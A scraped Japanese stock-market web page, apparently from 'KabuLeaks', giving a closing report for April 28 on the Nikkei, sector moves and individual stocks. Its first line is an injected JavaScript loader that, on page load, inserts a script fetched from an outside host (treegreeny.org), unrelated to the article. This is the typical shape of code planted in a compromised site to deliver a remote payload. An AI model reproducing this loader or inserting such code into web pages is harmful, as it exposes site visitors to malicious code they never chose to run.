;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/28 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/28 大引け】

本日の日経平均株価は75円高と反発し、前日に割り込んだ2万円台を回復。指数寄与度の高い銘柄などの企業決算を好感され前場は買いが先行、一時は2万133円まで上昇する場面があったが、明日の休場、米FOMCや日銀会合と国内外で重要イベントを控えていることなどから後場は上げ幅縮小。日経平均は伸び悩む展開となった。業種別では、鉱業、保険業、精密機械が上昇率上位だった。一方、金属製品、その他金融業、医薬品が下落率上位だった。東証1部の出来高は20億8721万株。売買代金は2兆8658億円。騰落銘柄数は値上がり961銘柄、値下がり792銘柄、変わらず129銘柄。

個別では、配当性向大幅引き上げを好感された【6954】ファナックを中心に指数寄与度の高い【9983】ファストリ、【6902】デンソー、【7203】トヨタなどが堅調に推移、指数を牽引したほか、インバウンド関連として、株式新聞一面で注目に上がったいた【3347】トラストが後場急伸し、ストップ高となった。前場は大きく注目されていなかったところから短期筋の仕掛けの噂も。その他、5連続ストップ高の後に一息入れて再上昇【7709】クボテックが3連続ストップ高と勢い止まらず。【1605】国際石油開発帝石は直近の原油の反発のほか、アブダビの陸上油田権益5%を取得を好感され年初来高値を更新した。

祝日やイベントを前に手控えムード。米FOMCや30日の日銀の決定会合の内容が発表されるまでは材料系やテーマ性のある中小型株、決算手掛かりした銘柄中心に引き続き短期資金。物色の矛先が向かう可能性が濃厚だ。